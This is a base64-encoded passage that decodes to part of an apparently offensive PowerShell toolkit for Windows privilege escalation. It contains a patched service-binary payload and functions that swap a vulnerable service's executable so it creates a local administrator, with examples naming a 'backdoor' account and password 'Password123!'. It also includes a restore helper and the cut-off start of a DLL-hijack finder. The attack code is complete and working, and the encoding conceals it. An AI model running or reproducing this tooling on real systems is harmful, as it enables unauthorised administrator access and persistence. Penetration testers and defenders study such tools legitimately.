QzRBTUFBQUFEZ0FEQUFCQUVrQWJnQjBBR1VBY2dCdUFHRUFiQUJPQUdFQWJRQmxBQUFBVlFCd0FHUUFZUUIwQUdVQWNnQXVBR1VBZUFCbEFBQUFTQUFTQUFFQVRBQmxBR2NBWVFCc0FFTUFid0J3QUhrQWNnQnBBR2NBYUFCMEFBQUFRd0J2QUhBQWVRQnlBR2tBWndCb0FIUUFJQUNwQUNBQUlBQXlBREFBTVFBMUFBQUFRQUFNQUFFQVR3QnlBR2tBWndCcEFHNEFZUUJzQUVZQWFRQnNBR1VBYmdCaEFHMEFaUUFBQUZVQWNBQmtBR0VBZEFCbEFISUFMZ0JsQUhnQVpRQUFBREFBQ0FBQkFGQUFjZ0J2QUdRQWRRQmpBSFFBVGdCaEFHMEFaUUFBQUFBQVZRQndBR1FBWVFCMEFHVUFjZ0FBQURRQUNBQUJBRkFBY2dCdkFHUUFkUUJqQUhRQVZnQmxBSElBY3dCcEFHOEFiZ0FBQURFQUxnQXdBQzRBTUFBdUFEQUFBQUE0QUFnQUFRQkJBSE1BY3dCbEFHMEFZZ0JzQUhrQUlBQldBR1VBY2dCekFHa0Fid0J1QUFBQU1RQXVBREFBTGdBd0FDNEFNQUFBQU8rN3Z6dy9lRzFzSUhabGNuTnBiMjQ5SWpFdU1DSWdaVzVqYjJScGJtYzlJbFZVUmkwNElpQnpkR0Z1WkdGc2IyNWxQU0o1WlhNaVB6NE5DanhoYzNObGJXSnNlU0I0Yld4dWN6MGlkWEp1T25OamFHVnRZWE10YldsamNtOXpiMlowTFdOdmJUcGhjMjB1ZGpFaUlHMWhibWxtWlhOMFZtVnljMmx2YmowaU1TNHdJajROQ2lBZ1BHRnpjMlZ0WW14NVNXUmxiblJwZEhrZ2RtVnljMmx2YmowaU1TNHdMakF1TUNJZ2JtRnRaVDBpVFhsQmNIQnNhV05oZEdsdmJpNWhjSEFpTHo0TkNpQWdQSFJ5ZFhOMFNXNW1ieUI0Yld4dWN6MGlkWEp1T25OamFHVnRZWE10YldsamNtOXpiMlowTFdOdmJUcGhjMjB1ZGpJaVBnMEtJQ0FnSUR4elpXTjFjbWwwZVQ0TkNpQWdJQ0FnSUR4eVpYRjFaWE4wWldSUWNtbDJhV3hsWjJWeklIaHRiRzV6UFNKMWNtNDZjMk5vWlcxaGN5MXRhV055YjNOdlpuUXRZMjl0T21GemJTNTJNeUkrRFFvZ0lDQWdJQ0FnSUR4eVpYRjFaWE4wWldSRmVHVmpkWFJwYjI1TVpYWmxiQ0JzWlhabGJEMGlZWE5KYm5admEyVnlJaUIxYVVGalkyVnpjejBpWm1Gc2MyVWlMejROQ2lBZ0lDQWdJRHd2Y21WeGRXVnpkR1ZrVUhKcGRtbHNaV2RsY3o0TkNpQWdJQ0E4TDNObFkzVnlhWFI1UGcwS0lDQThMM1J5ZFhOMFNXNW1iejROQ2p3dllYTnpaVzFpYkhrK0RRb0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHQUFBQXdBQUFBZ09nQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBPSIKICAgICAgICBbQnl0ZVtdXSAkQmluYXJ5ID0gW0J5dGVbXV1bQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJEI2NEJpbmFyeSkKICAgIH0KCiAgICBwcm9jZXNzIHsKICAgICAgICBpZigtbm90ICRDb21tYW5kKSB7CiAgICAgICAgICAgIGlmKCRVc2VyTmFtZS5Db250YWlucygiXCIpKSB7CiAgICAgICAgICAgICAgICAjIGFkZGluZyBhIGRvbWFpbiB1c2VyIHRvIHRoZSBsb2NhbCBncm91cCwgbm8gY3JlYXRpb24KICAgICAgICAgICAgICAgICRDb21tYW5kID0gIm5ldCBsb2NhbGdyb3VwICRMb2NhbEdyb3VwICRVc2VyTmFtZSAvYWRkIgogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgIyBjcmVhdGluZyBhIGxvY2FsIHVzZXIgYW5kIGFkZGluZyB0byB0aGUgbG9jYWwgZ3JvdXAKICAgICAgICAgICAgICAgICRDb21tYW5kID0gIm5ldCB1c2VyICRVc2VyTmFtZSAkUGFzc3dvcmQgL2FkZCAmJiB0aW1lb3V0IC90IDIgJiYgbmV0IGxvY2FsZ3JvdXAgJExvY2FsR3JvdXAgJFVzZXJOYW1lIC9hZGQiCiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMgZ2V0IHRoZSB1bmljb2RlIGJ5dGUgY29udmVyc2lvbnMgb2YgYWxsIGFyZ3VtZW50cwogICAgICAgICRFbmMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlCiAgICAgICAgJFNlcnZpY2VOYW1lQnl0ZXMgPSAkRW5jLkdldEJ5dGVzKCRTZXJ2aWNlTmFtZSkKICAgICAgICAkQ29tbWFuZEJ5dGVzID0gJEVuYy5HZXRCeXRlcygkQ29tbWFuZCkKCiAgICAgICAgIyBwYXRjaCBhbGwgdmFsdWVzIGluIHRvIHRoZWlyIGFwcHJvcHJpYXRlIGxvY2F0aW9ucwogICAgICAgIGZvciAoJGk9MDsgJGkgLWx0ICgkU2VydmljZU5hbWVCeXRlcy5MZW5ndGgpOyAkaSsrKSB7IAogICAgICAgICAgICAjIHNlcnZpY2UgbmFtZSBvZmZzZXQgPSAyNDU4CiAgICAgICAgICAgICRCaW5hcnlbJGkrMjQ1OF0gPSAkU2VydmljZU5hbWVCeXRlc1skaV0KICAgICAgICB9CiAgICAgICAgZm9yICgkaT0wOyAkaSAtbHQgKCRDb21tYW5kQnl0ZXMuTGVuZ3RoKTsgJGkrKykgeyAKICAgICAgICAgICAgIyBjbWQgb2Zmc2V0ID0gMjUzNQogICAgICAgICAgICAkQmluYXJ5WyRpKzI1MzVdID0gJENvbW1hbmRCeXRlc1skaV0KICAgICAgICB9CgogICAgICAgIHRyeSB7CiAgICAgICAgICAgIFNldC1Db250ZW50IC1WYWx1ZSAkQmluYXJ5IC1FbmNvZGluZyBCeXRlIC1QYXRoICRTZXJ2aWNlUGF0aCAtRm9yY2UKICAgICAgICB9CiAgICAgICAgY2F0Y2ggewogICAgICAgICAgICAkTXNnID0gIkVycm9yIHdoaWxlIHdyaXRpbmcgdG8gbG9jYXRpb24gJyRTZXJ2aWNlUGF0aCc6ICRfIgogICAgICAgICAgICBXcml0ZS1XYXJuaW5nICRNc2cKICAgICAgICAgICAgJENvbW1hbmQgPSAkTXNnCiAgICAgICAgfQoKICAgICAgICAkT3V0ID0gTmV3LU9iamVjdCBQU09iamVjdAogICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnU2VydmljZU5hbWUnICRTZXJ2aWNlTmFtZQogICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnU2VydmljZVBhdGgnICRTZXJ2aWNlUGF0aAogICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnQ29tbWFuZCcgJENvbW1hbmQKICAgICAgICAkT3V0CiAgICB9Cn0KCgpmdW5jdGlvbiBJbnN0YWxsLVNlcnZpY2VCaW5hcnkgewo8IwogICAgLlNZTk9QU0lTCgogICAgICAgIFVzZXJzIFdyaXRlLVNlcnZpY2VCaW5hcnkgdG8gd3JpdGUgYSBDIyBzZXJ2aWNlIHRoYXQgY3JlYXRlcyBhIGxvY2FsIFVzZXJOYW1lCiAgICAgICAgYW5kIGFkZHMgaXQgdG8gc3BlY2lmaWVkIExvY2FsR3JvdXAgb3IgZXhlY3V0ZXMgYSBjdXN0b20gY29tbWFuZC4KICAgICAgICBEb21haW4gdXNlcnMgYXJlIG9ubHkgYWRkZWQgdG8gdGhlIHNwZWNpZmllZCBMb2NhbEdyb3VwLgoKICAgIC5QQVJBTUVURVIgU2VydmljZU5hbWUKCiAgICAgICAgVGhlIHNlcnZpY2UgbmFtZSB0byBtYW5pcHVsYXRlLiBSZXF1aXJlZC4KCiAgICAuUEFSQU1FVEVSIFVzZXJOYW1lCgogICAgICAgIFRoZSBbRE9NQUlOXHVzZXJuYW1lXSB0byBhZGQsIGRlZmF1bHRzIHRvICdqb2huJy4KCiAgICAuUEFSQU1FVEVSIFBhc3N3b3JkCgogICAgICAgIFRoZSBwYXNzd29yZCB0byBzZXQgZm9yIHRoZSBhZGRlZCB1c2VyLCBkZWZhdWx0IHRvICdQYXNzd29yZDEyMyEnLgoKICAgIC5QQVJBTUVURVIgTG9jYWxHcm91cAoKICAgICAgICBMb2NhbCBncm91cCB0byBhZGQgdGhlIHVzZXIgdG8sIGRlZmF1bHRzIHRvICdBZG1pbmlzdHJhdG9ycycuCgogICAgLlBBUkFNRVRFUiBDb21tYW5kCgogICAgICAgIEEgY3VzdG9tIGNvbW1hbmQgdG8gZXhlY3V0ZS4KCiAgICAuRVhBTVBMRQoKICAgICAgICBQUyBDOlw+IEluc3RhbGwtU2VydmljZUJpbmFyeSAtU2VydmljZU5hbWUgVnVsblNWQwoKICAgICAgICBSZXBsYWNlcyB0aGUgYmluYXJ5IGZvciBWdWxuU1ZDIHdpdGggb25lIHRoYXQgYWRkcyBhIGxvY2FsIGFkbWluaXN0cmF0b3IKICAgICAgICB0byB0aGUgbG9jYWwgZGlyZWN0b3J5LiBBbHNvIGJhY2tzIHVwIHRoZSBvcmlnaW5hbCBzZXJ2aWNlIGJpbmFyeS4KCiAgICAuRVhBTVBMRQoKICAgICAgICBQUyBDOlw+IEluc3RhbGwtU2VydmljZUJpbmFyeSAtU2VydmljZU5hbWUgVnVsblNWQyAtVXNlck5hbWUgIlRFU1RMQUJcam9obiIKCiAgICAgICAgUmVwbGFjZXMgdGhlIGJpbmFyeSBmb3IgVnVsblNWQyB3aXRoIG9uZSB0aGF0IGFkZHMgVEVTVExBQlxqb2huIHRvIHRoZSBsb2NhbAogICAgICAgIGFkbWluaXN0cmF0b3JzIHRvIHRoZSBsb2NhbCBkaXJlY3RvcnkuIEFsc28gYmFja3MgdXAgdGhlIG9yaWdpbmFsIHNlcnZpY2UgYmluYXJ5LgoKICAgIC5FWEFNUExFCgogICAgICAgIFBTIEM6XD4gSW5zdGFsbC1TZXJ2aWNlQmluYXJ5IC1TZXJ2aWNlTmFtZSBWdWxuU1ZDIC1Vc2VyTmFtZSBiYWNrZG9vciAtUGFzc3dvcmQgUGFzc3dvcmQxMjMhCgogICAgICAgIFJlcGxhY2VzIHRoZSBiaW5hcnkgZm9yIFZ1bG5TVkMgd2l0aCBvbmUgdGhhdCBhZGRzIGEgbG9jYWwgYWRtaW5pc3RyYXRvciBvZgogICAgICAgIG5hbWUgJ2JhY2tkb29yJyB3aXRoIHBhc3N3b3JkICdQYXNzd29yZDEyMyEnIHRvIHRoZSBsb2NhbCBkaXJlY3RvcnkuCiAgICAgICAgQWxzbyBiYWNrcyB1cCB0aGUgb3JpZ2luYWwgc2VydmljZSBiaW5hcnkuCgogICAgLkVYQU1QTEUKCiAgICAgICAgUFMgQzpcPiBJbnN0YWxsLVNlcnZpY2VCaW5hcnkgLVNlcnZpY2VOYW1lIFZ1bG5TVkMgLUNvbW1hbmQgIm5ldCAuLi4iCgogICAgICAgIFJlcGxhY2VzIHRoZSBiaW5hcnkgZm9yIFZ1bG5TVkMgd2l0aCBvbmUgdGhhdCBleGVjdXRlcyBhIGxvY2FsIGNvbW1hbmQKICAgICAgICB0byB0aGUgbG9jYWwgZGlyZWN0b3J5LiBBbHNvIGJhY2tzIHVwIHRoZSBvcmlnaW5hbCBzZXJ2aWNlIGJpbmFyeS4KIz4KCiAgICBbQ21kbGV0QmluZGluZygpXQogICAgUGFyYW0oCiAgICAgICAgW1BhcmFtZXRlcihWYWx1ZUZyb21QaXBlbGluZT0kVHJ1ZSwgTWFuZGF0b3J5ID0gJFRydWUpXQogICAgICAgIFtTdHJpbmddCiAgICAgICAgJFNlcnZpY2VOYW1lLAoKICAgICAgICBbU3RyaW5nXQogICAgICAgICRVc2VyTmFtZSA9ICJqb2huIiwKCiAgICAgICAgW1N0cmluZ10KICAgICAgICAkUGFzc3dvcmQgPSAiUGFzc3dvcmQxMjMhIiwKCiAgICAgICAgW1N0cmluZ10KICAgICAgICAkTG9jYWxHcm91cCA9ICJBZG1pbmlzdHJhdG9ycyIsCgogICAgICAgIFtTdHJpbmddCiAgICAgICAgJENvbW1hbmQKICAgICkKCiAgICBwcm9jZXNzIHsKICAgICAgICAjIHF1ZXJ5IFdNSSBmb3IgdGhlIHNlcnZpY2UKICAgICAgICAkVGFyZ2V0U2VydmljZSA9IEdldC1XbWlPYmplY3QgLUNsYXNzIHdpbjMyX3NlcnZpY2UgLUZpbHRlciAiTmFtZT0nJFNlcnZpY2VOYW1lJyIgfCBXaGVyZS1PYmplY3QgeyRffQoKICAgICAgICAjIG1ha2Ugc3VyZSB3ZSBnb3QgYSByZXN1bHQgYmFjawogICAgICAgIGlmICgkVGFyZ2V0U2VydmljZSl7CiAgICAgICAgICAgIHRyeSB7CgogICAgICAgICAgICAgICAgJFNlcnZpY2VQYXRoID0gKCRUYXJnZXRTZXJ2aWNlLlBhdGhOYW1lLlN1YnN0cmluZygwLCAkVGFyZ2V0U2VydmljZS5QYXRoTmFtZS5JbmRleE9mKCIuZXhlIikgKyA0KSkuUmVwbGFjZSgnIicsIiIpCiAgICAgICAgICAgICAgICAkQmFja3VwUGF0aCA9ICRTZXJ2aWNlUGF0aCArICIuYmFrIgoKICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIkJhY2tpbmcgdXAgJyRTZXJ2aWNlUGF0aCcgdG8gJyRCYWNrdXBQYXRoJyIKICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgTW92ZS1JdGVtIC1QYXRoICRTZXJ2aWNlUGF0aCAtRGVzdGluYXRpb24gJEJhY2t1cFBhdGggLUZvcmNlCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBjYXRjaCB7CiAgICAgICAgICAgICAgICAgICAgV3JpdGUtV2FybmluZyAiWypdIE9yaWdpbmFsIHBhdGggJyRTZXJ2aWNlUGF0aCcgZm9yICckU2VydmljZU5hbWUnIGRvZXMgbm90IGV4aXN0ISIKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAkQXJndW1lbnRzID0gQHsKICAgICAgICAgICAgICAgICAgICAnU2VydmljZU5hbWUnID0gJFNlcnZpY2VOYW1lCiAgICAgICAgICAgICAgICAgICAgJ1NlcnZpY2VQYXRoJyA9ICRTZXJ2aWNlUGF0aAogICAgICAgICAgICAgICAgICAgICdVc2VyTmFtZScgPSAkVXNlck5hbWUKICAgICAgICAgICAgICAgICAgICAnUGFzc3dvcmQnID0gJFBhc3N3b3JkCiAgICAgICAgICAgICAgICAgICAgJ0xvY2FsR3JvdXAnID0gJExvY2FsR3JvdXAKICAgICAgICAgICAgICAgICAgICAnQ29tbWFuZCcgPSAkQ29tbWFuZAogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgIyBzcGxhdCB0aGUgYXBwcm9wcmlhdGUgYXJndW1lbnRzIHRvIFdyaXRlLVNlcnZpY2VCaW5hcnkKICAgICAgICAgICAgICAgICRSZXN1bHQgPSBXcml0ZS1TZXJ2aWNlQmluYXJ5IEBBcmd1bWVudHMKICAgICAgICAgICAgICAgICRSZXN1bHQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnQmFja3VwUGF0aCcgJEJhY2t1cFBhdGgKICAgICAgICAgICAgICAgICRSZXN1bHQKICAgICAgICAgICAgfQogICAgICAgICAgICBjYXRjaCB7CiAgICAgICAgICAgICAgICBXcml0ZS1XYXJuaW5nICJFcnJvcjogJF8iCiAgICAgICAgICAgICAgICAkT3V0ID0gTmV3LU9iamVjdCBQU09iamVjdAogICAgICAgICAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdTZXJ2aWNlTmFtZScgJFNlcnZpY2VOYW1lCiAgICAgICAgICAgICAgICAkT3V0IHwgQWRkLU1lbWJlciBOb3RlcHJvcGVydHkgJ1NlcnZpY2VQYXRoJyAkU2VydmljZVBhdGgKICAgICAgICAgICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnQ29tbWFuZCcgJF8KICAgICAgICAgICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnQmFja3VwUGF0aCcgJEJhY2t1cFBhdGgKICAgICAgICAgICAgICAgICRPdXQKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlbHNlewogICAgICAgICAgICBXcml0ZS1XYXJuaW5nICJUYXJnZXQgc2VydmljZSAnJFNlcnZpY2VOYW1lJyBub3QgZm91bmQgb24gdGhlIG1hY2hpbmUiCiAgICAgICAgICAgICRPdXQgPSBOZXctT2JqZWN0IFBTT2JqZWN0CiAgICAgICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnU2VydmljZU5hbWUnICRTZXJ2aWNlTmFtZQogICAgICAgICAgICAkT3V0IHwgQWRkLU1lbWJlciBOb3RlcHJvcGVydHkgJ1NlcnZpY2VQYXRoJyAiTm90IGZvdW5kIgogICAgICAgICAgICAkT3V0IHwgQWRkLU1lbWJlciBOb3RlcHJvcGVydHkgJ0NvbW1hbmQnICJOb3QgZm91bmQiCiAgICAgICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnQmFja3VwUGF0aCcgJE51bGwKICAgICAgICAgICAgJE91dAogICAgICAgIH0KICAgIH0KfQoKCmZ1bmN0aW9uIFJlc3RvcmUtU2VydmljZUJpbmFyeSB7CjwjCiAgICAuU1lOT1BTSVMKCiAgICAgICAgQ29waWVzIGluIHRoZSBiYWNrdXAgZXhlY3V0YWJsZSB0byB0aGUgb3JpZ2luYWwgYmluYXJ5IHBhdGggZm9yIGEgc2VydmljZS4KCiAgICAuUEFSQU1FVEVSIFNlcnZpY2VOYW1lCgogICAgICAgIFRoZSBzZXJ2aWNlIG5hbWUgdG8gbWFuaXB1bGF0ZS4gUmVxdWlyZWQuCiAgCiAgICAuUEFSQU1FVEVSIEJhY2t1cFBhdGgKCiAgICAgICAgT3B0aW9uYWwgbWFudWFsIHBhdGggdG8gdGhlIGJhY2t1cCBiaW5hcnkuCiAgICAgICAgCiAgICAuRVhBTVBMRQoKICAgICAgICBQUyBDOlw+IFJlc3RvcmUtU2VydmljZUJpbmFyeSAtU2VydmljZU5hbWUgVnVsblNWQwoKICAgICAgICBSZXN0b3JlIHRoZSBvcmlnaW5hbCBiaW5hcnkgZm9yIHRoZSBzZXJ2aWNlICdWdWxuU1ZDJwojPgoKICAgIFtDbWRsZXRCaW5kaW5nKCldCiAgICBQYXJhbSgKICAgICAgICBbUGFyYW1ldGVyKFZhbHVlRnJvbVBpcGVsaW5lPSRUcnVlLCBNYW5kYXRvcnkgPSAkVHJ1ZSldCiAgICAgICAgW1N0cmluZ10KICAgICAgICAkU2VydmljZU5hbWUsCgogICAgICAgIFtTdHJpbmddCiAgICAgICAgJEJhY2t1cFBhdGgKICAgICkKCiAgICBwcm9jZXNzIHsKICAgICAgICAjIHF1ZXJ5IFdNSSBmb3IgdGhlIHNlcnZpY2UKICAgICAgICAkVGFyZ2V0U2VydmljZSA9IEdldC1XbWlPYmplY3QgLUNsYXNzIHdpbjMyX3NlcnZpY2UgLUZpbHRlciAiTmFtZT0nJFNlcnZpY2VOYW1lJyIgfCBXaGVyZS1PYmplY3QgeyRffQoKICAgICAgICAjIG1ha2Ugc3VyZSB3ZSBnb3QgYSByZXN1bHQgYmFjawogICAgICAgIGlmICgkVGFyZ2V0U2VydmljZSl7CiAgICAgICAgICAgIHRyeSB7CgogICAgICAgICAgICAgICAgJFNlcnZpY2VQYXRoID0gKCRUYXJnZXRTZXJ2aWNlLlBhdGhOYW1lLlN1YnN0cmluZygwLCAkVGFyZ2V0U2VydmljZS5QYXRoTmFtZS5JbmRleE9mKCIuZXhlIikgKyA0KSkuUmVwbGFjZSgnIicsIiIpCgogICAgICAgICAgICAgICAgaWYgKCRCYWNrdXBQYXRoIC1lcSAkbnVsbCAtb3IgJEJhY2t1cFBhdGggLWVxICcnKXsKICAgICAgICAgICAgICAgICAgICAkQmFja3VwUGF0aCA9ICRTZXJ2aWNlUGF0aCArICIuYmFrIgogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIENvcHktSXRlbSAtUGF0aCAkQmFja3VwUGF0aCAtRGVzdGluYXRpb24gJFNlcnZpY2VQYXRoIC1Gb3JjZQogICAgICAgICAgICAgICAgUmVtb3ZlLUl0ZW0gLVBhdGggJEJhY2t1cFBhdGggLUZvcmNlCgogICAgICAgICAgICAgICAgJE91dCA9IE5ldy1PYmplY3QgUFNPYmplY3QKICAgICAgICAgICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnU2VydmljZU5hbWUnICRTZXJ2aWNlTmFtZQogICAgICAgICAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdTZXJ2aWNlUGF0aCcgJFNlcnZpY2VQYXRoCiAgICAgICAgICAgICAgICAkT3V0IHwgQWRkLU1lbWJlciBOb3RlcHJvcGVydHkgJ0JhY2t1cFBhdGgnICRCYWNrdXBQYXRoCiAgICAgICAgICAgICAgICAkT3V0CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2F0Y2h7CiAgICAgICAgICAgICAgICBXcml0ZS1XYXJuaW5nICJFcnJvcjogJF8iCiAgICAgICAgICAgICAgICAkT3V0ID0gTmV3LU9iamVjdCBQU09iamVjdAogICAgICAgICAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdTZXJ2aWNlTmFtZScgJFNlcnZpY2VOYW1lCiAgICAgICAgICAgICAgICAkT3V0IHwgQWRkLU1lbWJlciBOb3RlcHJvcGVydHkgJ1NlcnZpY2VQYXRoJyAkXwogICAgICAgICAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdCYWNrdXBQYXRoJyAkTnVsbAogICAgICAgICAgICAgICAgJE91dAogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVsc2V7CiAgICAgICAgICAgIFdyaXRlLVdhcm5pbmcgIlRhcmdldCBzZXJ2aWNlICckU2VydmljZU5hbWUnIG5vdCBmb3VuZCBvbiB0aGUgbWFjaGluZSIKICAgICAgICAgICAgJE91dCA9IE5ldy1PYmplY3QgUFNPYmplY3QKICAgICAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdTZXJ2aWNlTmFtZScgJFNlcnZpY2VOYW1lCiAgICAgICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnU2VydmljZVBhdGgnICJOb3QgZm91bmQiCiAgICAgICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnQmFja3VwUGF0aCcgJE51bGwKICAgICAgICAgICAgJE91dAogICAgICAgIH0KICAgIH0KfQoKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMKIyAuZGxsIEhpamFja2luZwojCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCgpmdW5jdGlvbiBGaW5kLURMTEhpamFjayB7CjwjCiAgICAuU1lOT1BTSVMKCiAgICAgICAgQ2hlY2tzIGFsbCBsb2FkZWQgbW9kdWxlcyBmb3IgZWFjaCBwcm9jZXNzIGFuZCByZXR1cm5zIGxvY2F0aW9ucyAKICAgICAgICB3aGVyZSBhIGxvYWRlZCBtb2R1bGUgZG9lcyBub3QgZXhpc3QgaW4gdGhlIGV4ZWN1dGFibGUgYmFzZSBwYXRoLgoKICAgIC5QQVJBTUVURVIgRXhjbHVkZVdpbmRvd3MKCiAgICAgICAgRXhjbHVkZSBwYXRocyBmcm9tIEM6XFdpbmRvd3NcKiBpbnN0ZWFkIG9mIGp1c3QgQzpcV2luZG93c1xTeXN0ZW0zMlwqCgogICAgLlBBUkFNRVRFUiBFeGNsdWRlUHJvZ3JhbUZpbGVzCgogICAgICAgIEV4Y2x1ZGUgcGF0aHMgZnJvbSBDOlxQcm9ncmFtIEZpbGVzXCogYW5kIEM6XFByb2dyYW0gRmlsZXMgKHg4NilcKiAKCiAgICAuUEFSQU1FVEVSIEV4Y2x1ZGVPd25lZAoKICAgICAgICBFeGNsdWRlIHByb2Nlc3NlcyB0aGUgY3VycmVudCB1c2VyIG93bnMuIAoKICAgIC5FWEFNUExFCgogICAgICAgIFBTIEM6XD4gRmluZC1ETExIaWphY2sKCiAgICAgICAgRmluZHMgYWxsIGhpamFja2FibGUgRExMIGxvY2F0aW9ucy4KCiAgICAuRVhBTVBMRQoKICAgICAgICBQUyBDOlw+IEZpbmQtRExMSGlqYWNrIC1FeGNsdWRlV2luZG93cyAtRXhjbHVkZVByb2dyYW1GaWxlcwoKICAgICAgICBGaW5kcyBhbGwgaGlqYWNrYWJsZSBETEwgbG9jYXRpb25zIG5vdCBpbiBDOlxXaW5kb3dzXCogYW5kCiAgICAgICAgbm90IGluIEM6XFByb2dyYW0gRmlsZXNcKiBvciBDOlxQcm9ncmFtIEZpbGVzICh4ODYpXCoKCiAgICAuRVhBTVBMRQoKICAgICAgICBQUyBDOlw+IEZpbmQtRExMSGlqYWNrIC1FeGNsdWRlT3duZWQKCiAgICAgICAgRmluZHMgLkRMTCBoaWphY2tpbmcgb3Bwb3J0dW5pdGllcyBmb3IgcHJvY2Vzc2VzIG5vdCBvd25lZCBieSB0aGUKICAgICAgICBjdXJyZW50IHVzZXIuCgogICAgLkxJTksKCiAgICAgICAgaHR0cHM6Ly93d3cubWFuZGlhbnQuY29tL2Jsb2cvbWFsd2FyZS1wZXJzaXN0ZW5jZS13aW5kb3dzLXJlZ2lzdHJ5LwojPgoKICAgIFtDbWRsZXRCaW5kaW5nKCldCiAgICBQYXJhbSgKICAgICAgICBbU3dpdGNoXQogICAgICAgICRFeGNsdWRlV2luZG93cywKCiAgICAgICAgW1N3aXRjaF0KICAgICAgICAkRXhjbHVkZVByb2dyYW1GaWxlcywKCiAgICAgICAgW1N3aXRjaF0KICAgICAgICAkRXhjbHVkZU93bmVkCiAgICApCgogICAgJE9yaWdFcnJvciA9ICRFcnJvckFjdGlvblByZWZlcmVuY2UKICAgICRFcnJvckFjdGlvblByZWZlcmVuY2UgPSAiU2lsZW50bHlDb250aW51ZSIKCiAgICAjIHRoZSBrbm93biBETEwgY2FjaGUgdG8gZXhjbHVkZSBmcm9tIG91ciBmaW5kaW5ncwogICAgIyAgIGh0dHA6Ly9ibG9ncy5tc2RuLmNvbS9iL2xhcnJ5b3N0ZXJtYW4vYXJjaGl2ZS8yMDA0LzA3LzE5LzE4Nzc1Mi5hc3B4CiAgICAkS2V5cyA9IChHZXQtSXRlbSAiSEtMTTpcU3lzdGVtXEN1cnJlbnRDb250cm9sU2V0XENvbnRyb2xcU2Vzc2lvbiBNYW5hZ2